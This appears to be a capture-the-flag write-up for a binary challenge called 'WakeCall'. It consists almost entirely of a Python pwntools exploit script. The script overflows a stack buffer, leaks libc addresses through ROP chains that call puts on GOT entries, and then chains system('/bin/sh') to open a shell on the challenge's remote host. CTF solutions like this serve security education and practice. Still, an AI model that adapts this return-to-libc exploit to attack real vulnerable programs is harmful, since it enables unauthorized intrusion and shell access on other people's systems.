WakeCall

#rop#ret2libc

Contents

Source


Solution

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./chall_patched")
libc = ELF("./libc6_2.41-6ubuntu1.1_amd64.so")
ld = ELF("./ld-2.41.so")
rop = ROP(elf)

context.binary = elf
#context.log_level = "debug"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
handle SIGALRM noprint nostop nopass
b *0x401223
"""


def find_offset():
    r = process([elf.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("chall.v1t.site", 30211)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def leak_addr():

    offset = 136 * b'i'

    # mov edx, 0x3e8
    # mov rsi, rax
    # mov edi, 0
    # call read
    read = 0x401216

    # ret
    ret = 0x4011f0

    # pop rax
    # ret
    rax = 0x4011ef

    # pop rbp
    # ret
    rbp = 0x40117d

    # jmp rax
    jmp_rax = 0x40114e

    # puts
    puts = 0x40120a

    addr_puts   = 0x403fd0
    addr_setbuf = 0x403fd8
    addr_read   = 0x403fe8
    addr_libc_start_main = 0x403ff0

    addr_rbp = 0x404200

    payload  = offset
    payload += p64(rbp)
    payload += p64(addr_rbp)
    payload += p64(rax)
    payload += p64(addr_puts)
    payload += p64(puts)

    r = conn()
    r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
    r.sendline(payload)

    addr_puts = u64(r.recv(6).ljust(8,b'\0'))
    r.clean()
    r.close()



    payload  = offset
    payload += p64(rbp)
    payload += p64(addr_rbp)
    payload += p64(rax)
    payload += p64(addr_setbuf)
    payload += p64(puts)

    r = conn()
    r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
    r.sendline(payload)

    addr_setbuf = u64(r.recv(6).ljust(8,b'\0'))
    r.clean()
    r.close()



    payload  = offset
    payload += p64(rbp)
    payload += p64(addr_rbp)
    payload += p64(rax)
    payload += p64(addr_read)
    payload += p64(puts)

    r = conn()
    r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
    r.sendline(payload)

    addr_read = u64(r.recv(6).ljust(8,b'\0'))
    r.clean()
    r.close()



    payload  = offset
    payload += p64(rbp)
    payload += p64(addr_rbp)
    payload += p64(rax)
    payload += p64(addr_libc_start_main)
    payload += p64(puts)

    r = conn()
    r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
    r.sendline(payload)

    addr_libc_start_main = u64(r.recv(6).ljust(8,b'\0'))
    r.clean()
    r.close()

    print(f"puts:             {hex(addr_puts)}")
    print(f"setbuf:           {hex(addr_setbuf)}")
    print(f"read:             {hex(addr_read)}")
    print(f"libc_start_main:  {hex(addr_libc_start_main)}")



def main():
    offset = 136 * b'i'

    # ret
    ret = 0x4011f0

    # pop rax
    # ret
    rax = 0x4011ef

    # pop rbp
    # ret
    rbp = 0x40117d

    # jmp rax
    jmp_rax = 0x40114e

    # puts
    puts = 0x40120a

    addr_rbp = 0x404a00
    addr_puts   = 0x403fd0

    payload  = offset
    payload += p64(rbp)
    payload += p64(addr_rbp)
    payload += p64(rax)
    payload += p64(addr_puts)
    payload += p64(puts)

    r = conn()
    r.recvuntil("Quack off, I’m debugging my reflection in the pond.\n".encode("utf-8"))
    r.sendline(payload)

    addr_puts = u64(r.recvuntil(b'\n', drop=True).ljust(8,b'\0'))

    libc.address = addr_puts - libc.sym["puts"]

    addr_system = libc.sym["system"]
    pop_rdi = libc.address + 0x119fdc
    addr_binsh = next(libc.search(b"/bin/sh"))

    payload  = offset
    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(addr_binsh)
    payload += p64(addr_system)

    r.sendline(payload)

    r.interactive()

if __name__ == "__main__":
    main()